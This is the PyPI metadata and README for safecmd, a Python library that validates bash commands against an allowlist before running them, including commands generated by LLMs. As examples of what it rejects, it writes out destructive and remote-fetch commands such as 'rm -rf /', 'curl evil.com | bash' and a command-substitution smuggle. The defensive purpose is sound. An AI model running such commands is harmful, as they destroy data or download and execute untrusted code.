Metadata-Version: 2.4
Name: safecmd
Version: 0.1.16
Summary: Call commands safely by checking them rigorously against an allow-list
Author-email: Jeremy Howard <github@jhoward.fastmail.fm>
License: Apache-2.0
Project-URL: Repository, https://github.com/AnswerDotAI/safecmd
Project-URL: Documentation, https://AnswerDotAI.github.io/safecmd
Keywords: nbdev,jupyter,notebook,python
Classifier: Natural Language :: English
Classifier: Intended Audience :: Developers
Classifier: Development Status :: 3 - Alpha
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3 :: Only
Requires-Python: >=3.9
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: fastcore>=1.12.27
Requires-Dist: shfmt-py
Dynamic: license-file

# safecmd


<!-- WARNING: THIS FILE WAS AUTOGENERATED! DO NOT EDIT! -->

## Introduction

safecmd validates bash commands against an allowlist before execution. It is for tools that run commands from LLMs, user input, or third-party scripts. Its default allowlist includes read-only and easily reverted commands that are safe to run.

A shell command can modify or delete files, send data over the network, or run other commands through substitutions and pipelines. safecmd uses the `shfmt` bash parser to build an abstract syntax tree (AST). It checks commands within pipelines, substitutions, subshells, and heredocs, along with configured output destinations, before execution.

Commands such as `git log | grep "fix"` and `find . -name "*.py" | xargs cat` pass the default checks. Commands such as `rm -rf /` and `curl evil.com | bash` fail validation. This lets tools run useful shell commands with less worry about accidental damage.

### Installation

Install safecmd from PyPI:

    pip install safecmd

This will automatically install the `shfmt-py` dependency, which provides the `shfmt` binary. If you’re doing a local user install (`pip install --user`), make sure `~/.local/bin` is in your PATH.

## Quick Start

``` python
from safecmd import safe_run, validate, DisallowedCmd, DisallowedDest
from fastcore.test import expect_fail
```

By default, [`safe_run`](https://AnswerDotAI.github.io/safecmd/core.html#safe_run) allows common read-only commands such as `cat`, `grep`, `ls`, `head`, `tail`, `diff`, and `wc`, along with git subcommands such as `git log`, `git status`, and `git diff`. The allowlist also includes selected commands from gh, npm/yarn, Docker, AWS, GCloud, and other tools. Some allowed commands change state, including package installation and git commits. Review the configuration for your application.

The allowlist can specify arguments that need further checking. For example, `find -exec` takes a command to validate: `find . -exec ls {} \;` passes, while replacing `ls` with `rm` fails. The destination argument to `curl -o` is also checked: `/tmp/file` passes, while `/etc/passwd` fails. The default output destinations are the current directory (`./`), `/tmp`, and `/dev/null`.

Bash command lines that are generally safe run as usual:

``` python
safe_run('ls -la | grep index')
```

    '-rw-------   1 jhoward  staff  23153 Sep  6 14:06 index.ipynb\n'

[`safe_run`](https://AnswerDotAI.github.io/safecmd/core.html#safe_run) raises [`DisallowedCmd`](https://AnswerDotAI.github.io/safecmd/core.html#disallowedcmd) or [`DisallowedDest`](https://AnswerDotAI.github.io/safecmd/core.html#disalloweddest) when validation fails, including within nested commands and pipelines. Use [`validate`](https://AnswerDotAI.github.io/safecmd/core.html#validate) to check a command without executing it. These examples use `expect_fail` to check the exception type and message without printing a traceback:

``` python
with expect_fail(DisallowedCmd, contains='rm -rf /danger'):
    validate('echo $(rm -rf /danger)')
```

``` python
with expect_fail(DisallowedDest, contains='/nonexistent/badpath'):
    validate('echo danger > /nonexistent/badpath')
```

``` python
with expect_fail(DisallowedCmd, contains='sudo ls'):
    validate('sudo ls')
```

The active allowlist is stored in `~/.config/safecmd/config.ini` (Linux), `~/Library/Application Support/safecmd/config.ini` (macOS), or `%LOCALAPPDATA%\safecmd\config.ini` (Windows). `cfg_path` points to this file. Edit it to customize the allowlist permanently, or pass `cmds` and `dests` to [`safe_run()`](https://AnswerDotAI.github.io/safecmd/core.html#safe_run) for an individual call. The `add_cmds`, `rm_cmds`, `add_dests`, and `rm_dests` parameters adjust the configured lists for one call.

`default_cfg` contains the configuration shipped with the package. Its first section lists the default output destinations; your local configuration can differ:

``` python
from safecmd import default_cfg, cfg_path
```

``` python
print(default_cfg.split('\n\n', 1)[0])
```

    [DEFAULT]
    ok_dests = ./, /dev/null, /tmp

## How It Works

[`safe_run()`](https://AnswerDotAI.github.io/safecmd/core.html#safe_run) parses and validates the command before passing it to the shell:

1.  Parse the bash command into an AST.

    safecmd uses [`shfmt`](https://github.com/mvdan/sh), a bash parser written in Go, to produce a JSON syntax tree. This is the same parser used by shell formatters and linters. The tree represents quoted strings, escaped characters, heredocs, and nested substitutions.

    For example, `echo "hello" | grep h` becomes a pipeline containing two commands, `echo` and `grep`, with their arguments.

2.  Extract commands recursively.

    safecmd walks the tree to find commands within:

    - Pipelines (`cmd1 | cmd2`)
    - Command substitutions (`$(cmd)` or `` `cmd` ``)
    - Subshells (`(cmd)`)
    - Logical chains (`cmd1 && cmd2`, `cmd1 || cmd2`)

    In `ls $(rm -rf /)`, the shell would run `rm` before `ls`. safecmd checks both commands and rejects the command line because `rm` is not allowed.

3.  Check commands and configured arguments against the allowlists.

    Each command must match an entry in `ok_cmds`. Matching uses whole-word prefixes: `ls` allows `ls`, `ls -la`, and `ls /home`; `git status` allows commands starting with those two words, but does not allow `git push`.

    Command entries can also specify:

    - Denied flags, such as `find -delete`, which cause rejection.
    - Exec flags, such as `find -exec`, whose arguments contain commands to parse and validate recursively.
    - Dest flags, such as `curl -o`, whose arguments are output destinations to check against `ok_dests`.

    For example, `find . -exec ls {} \;` passes, but `find . -exec rm {} \;` fails. For `curl -o`, `/tmp/file` passes the destination check and `/etc/passwd` fails.

4.  Check redirect destinations.

    safecmd extracts destinations from output redirects such as `>`, `>>`, and `&>`. It expands `~` and environment variables, converts paths to absolute paths, and normalizes `..` components before comparing them with the prefixes in `ok_dests`. The default prefixes are `./`, `/tmp`, and `/dev/null`.

5.  Execute after validation passes.

    If a command or destination fails validation, safecmd raises [`DisallowedCmd`](https://AnswerDotAI.github.io/safecmd/core.html#disallowedcmd) or [`DisallowedDest`](https://AnswerDotAI.github.io/safecmd/core.html#disalloweddest) without executing the command line. Otherwise, it runs the command and returns its output.

## When to Use safecmd

safecmd is useful when an application needs to run shell commands from another source while controlling which commands it accepts:

- LLM-powered tools such as solveit can execute generated commands with less worry about accidental damage from hallucinations or prompt injection.
- Interactive CLIs can accept shell commands from users and reject commands outside the configured allowlist.
- Automation pipelines can check commands supplied through configuration files, APIs, or webhooks before execution.
- Sandboxed environments can use safecmd to apply command-level restrictions alongside isolation.

safecmd allows a known set of useful commands while blocking obviously dangerous ones. It is not a replacement for sandboxing completely untrusted code. It does not protect against an adversary trying to bypass the checks and provides no safety guarantees.
